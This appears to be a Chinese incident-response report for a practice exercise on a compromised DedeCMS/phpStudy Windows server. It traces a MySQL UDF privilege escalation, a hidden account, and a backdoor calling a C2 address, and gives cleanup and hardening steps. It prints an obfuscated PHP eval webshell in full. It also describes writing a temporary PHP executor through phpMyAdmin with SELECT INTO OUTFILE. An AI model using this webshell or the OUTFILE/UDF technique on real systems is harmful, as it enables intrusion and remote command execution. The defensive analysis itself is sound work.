- 目标:
47.103.220.96(Windows Server 2008 R2,主机名iZmy1m38d8gtbjZ) - 接入方式:RDP
administrator+ 题目口令(prompt for credentials:i:0预置凭据) - 站点:phpstudy_pro + Apache 2.4.39 / PHP 7.3.4 / MySQL 5.5.29,Web 根
C:\phpstudy_pro\WWW,DedeCMS V5.7 SP2,phpMyAdmin 4.8.1 暴露于/phpmyadmin/ - 处置时间:2026-10-30 21:32 ~ 22:05(UTC+08:00)
- 结论:7 项题目全部完成;攻击者投放的 WebShell、隐藏账户、后门木马与 UDF 提权链已清除,账户策略与 MySQL 导入导出限制已收紧。
1. 七项题目答案
| # | 题目 | 结论 / 处置 | 关键证据 |
|---|---|---|---|
| 1 | 请输入黑客的提权方式(字母转小写) | udf |
mysql.func 存在 sys_eval -> udf.dll;plugin 目录 udf.dll(7168 B,2022-10-28 16:29) |
| 2 | 请删除黑客上传的 webshell | 已删除 C:\phpstudy_pro\WWW\dede\inc\config_sys.php(HTTP 已 404) |
文件内容 <?php $a="_POST"; @array_map(implode("",["e","v","a","l"]), $$a); ?>;access.log 中 POST /dede/inc/config_sys.php 200 |
| 3 | 请删除黑客添加的账号 | 已 net user harry /delete;现仅 Administrator、Guest |
账号 harry 密码设置时间 2022-10-28 16:31:46,仅属 Users 组 |
| 4 | 请输入黑客后门木马连接的服务器 IP | 23.23.23.23 |
netstat -ano:TCP 172.17.197.91:49445 -> 23.23.23.23:1996 SYN_SENT 6508 |
| 5 | 设置服务器账号策略密码最小长度为 8 | 已执行 net accounts /minpwlen:8 |
net accounts:密码长度最小值: 8(原为 0) |
| 6 | 请杀死并删除黑客留下的后门木马 | taskkill /f /pid 6508,删除启动项 ...\Startup\system6.exe |
进程 6508 为 system6.exe;启动目录仅剩 phpstudy_pro.lnk |
| 7 | 请修复黑客提权利用的漏洞 | DROP FUNCTION sys_eval;删除 udf.dll;my.ini 增加 secure_file_priv=null 并重启 MySQL |
mysql.func 已空、plugin 目录已空、@@secure_file_priv=C:\phpstudy_pro\Extensions\MySQL5.5.29\bin\null\,SELECT ... INTO OUTFILE 被拒绝 |
2. 攻击链还原

依据 Apache 访问日志(access.log.1666915200,1,602,645 B)与主机时间戳,攻击者链路为:
- 公网侦察/注入 :
27.211.48.24于 2022-10-28 15:58 对/plus/heightsearch.php发起 SQL 注入探测(UNION/报错/时间盲注),16:00 起遍历c99shell.php、cmdasp.asp、.git等后门路径。 - 数据库接管 :16:04 经
/phpmyadmin/以root:root登录并POST import.php执行 SQL;16:11my.ini被改动。 - UDF 提权 :16:29 向
lib\plugin写入udf.dll并注册sys_eval,获得 SYSTEM 级命令执行(MySQL 以高权限运行)。 - 主机驻留 :16:31 创建账户
harry;16:44 将dede/inc/config_sys.php改写为一句话木马;17:26 向启动文件夹投放system6.exe(159,744 B)并运行,产生到23.23.23.23:1996的SYN_SENT外联。

说明:
system6.exe内含NetUserAdd、fDenyTSConnections/PortNumber等 RDP 注册表操作与23.23.23.23、http://www.baidu.com/ip.txt字符串,属于典型的"建号 + 开 RDP + 外联 C2"后门。
3. 取证与处置过程

3.1 接入与取证
- 端口:
80/135/139/3306/3389开放,445关闭;站点为 DedeCMS V5.7 SP2,/phpmyadmin/可未授权访问登录页。 - 通过 phpMyAdmin
root:root登录后以SELECT ... INTO OUTFILE在 Web 根写入临时 PHP 执行器,取得administrator权限命令通道,用于取证与处置(结束后已删除)。
关键命令与输出(节选):
text
net user
\\iZmy1m38d8gtbjZ 的用户帐户
Administrator Guest harry
net localgroup administrators
Administrator
net accounts # 处置前
密码长度最小值: 0
netstat -ano
TCP 172.17.197.91:49445 23.23.23.23:1996 SYN_SENT 6508
tasklist
system6.exe 6508 RDP-Tcp#0 2
dir "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
2022/10/28 15:33 736 phpstudy_pro.lnk
2022/10/28 17:26 159,744 system6.exe
type C:\phpstudy_pro\WWW\dede\inc\config_sys.php
<?php $a = "_POST"; @array_map(implode("",["e","v","a","l"]), $$a); ?>
SELECT * FROM mysql.func;
sys_eval | 0 | udf.dll | function
dir C:\phpstudy_pro\Extensions\MySQL5.5.29\lib\plugin
2022/10/28 16:29 7,168 udf.dll
证据文件:evidence/system6.exe(后门样本)、evidence/udf.dll(UDF 样本)、evidence/cfg_sys.bak(WebShell 原件)、evidence/acc_old.log(攻击日志)、evidence/tasklist.txt、evidence/netstat.txt。
3.2 清除与加固
text
del /f /q C:\phpstudy_pro\WWW\dede\inc\config_sys.php
net user harry /delete
net accounts /minpwlen:8
taskkill /f /pid 6508
del /f /q "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system6.exe"
MySQL UDF 链路修复:
sql
DROP FUNCTION sys_eval;
ini
; C:\phpstudy_pro\Extensions\MySQL5.5.29\my.ini([mysqld] 段)
secure_file_priv=null
随后通过 mysqladmin shutdown 重启 MySQL(phpstudy 服务自动拉起 mysqld),并完成复核:
text
net user -> Administrator / Guest
net localgroup administrators -> Administrator
net accounts -> 密码长度最小值: 8
tasklist | findstr system6 -> (空)
netstat -ano | findstr 23.23.23.23 -> (空)
if exist ...\config_sys.php -> SHELL_GONE
dir ...\lib\plugin -> 0 个文件
findstr secure_file_priv my.ini -> 7:secure_file_priv=null
SHOW VARIABLES LIKE 'secure_file_priv';
secure_file_priv | C:\phpstudy_pro\Extensions\MySQL5.5.29\bin\null\
SELECT 'limited' INTO OUTFILE 'C:/phpstudy_pro/WWW/perm_test.txt'; -> 被拒绝(文件操作已受限)
站点健康复核(HTTP):/ 200、/phpmyadmin/ 200、/dede/login.php 200;/dede/inc/config_sys.php 404,/px_7c1a.php(临时执行器)404。
3.3 现场清理
临时执行器 px_7c1a.php、日志副本、样本副本、临时脚本与备份均已在处置结束后删除;主机只保留原始证据位置(access.log 已轮转至 access.log.1666915200)。
4. 加固前后对比
| 项目 | 加固前 | 加固后 |
|---|---|---|
| WebShell | dede/inc/config_sys.php 可 POST 执行 |
已删除,HTTP 404 |
| 隐藏账户 | harry(Users 组) |
已删除,仅内置账户 |
| 后门木马 | Startup\system6.exe(PID 6508) |
进程终止、文件删除、启动项干净 |
| C2 外联 | 23.23.23.23:1996 SYN_SENT |
无连接 |
| 账户策略 | 密码最小长度 0 | 密码最小长度 8 |
| UDF 提权 | udf.dll + sys_eval 可执行命令 |
函数已 DROP、DLL 已删除 |
| MySQL 文件导入导出 | secure_file_priv 为空(无限制) |
secure_file_priv=null,OUTFILE 被拒绝 |
5. 图形附件(Archify)
| 图 | 文件 | 说明 |
|---|---|---|
| 攻击面与宿主拓扑 | topology.html(交互图,本地交付包) |
攻击者、Web/数据层、Windows 主机层与 C2 的拓扑和边界 |
| 攻击时间线 | attack-timeline.html(交互图,本地交付包) |
2022-10-28 侦察→利用→主机驻留的时间轴 |
| 应急处置流程 | hardening.html(交互图,本地交付包) |
取证定位→清除处置→加固修复→复核交付 |
静态校验:三张图 archify check 均为 ok: true(issues 为空)。
本机为 DSH elevated 会话,
archify finalize的browser-check(Chrome/Edge DevTools pipe)无法运行;已改用archify render --quality showcase+archify check+ headless Edge 截图人工复核(截图见同目录_shots/)。交互式 HTML 与静态截图二选一,Markdown 版使用截图、文末仅保留索引。
6. 遗留风险与建议
- phpMyAdmin 与 MySQL root 口令 :
/phpmyadmin/对外可访问且root:root可登录,是本次 UDF 提权的入口。建议限制访问来源、改强口令,或仅保留内网访问。 - DedeCMS 5.7 SP2 :
/plus/heightsearch.php等历史注入面仍在,建议升级或下线相关 plus 脚本。 - Web 目录可写:Apache/PHP 以高权限运行且 Web 根可写,建议降权运行 IIS/Apache 应用池账户。
- 安全基线:建议同步启用审核策略、部署 EDR/杀软并保留 180 天以上日志。
附录:本次使用的工具与产物
- 工具:nmap 7.98、phpMyAdmin(root 登录)、curl、Python requests、Windows 内置 cmd/PowerShell、archify 3.2(图表)。
- 本目录:
应急加固报告-47.103.220.96.md、.archify/(三张图 +_shots/截图)、evidence/(样本与日志证据)。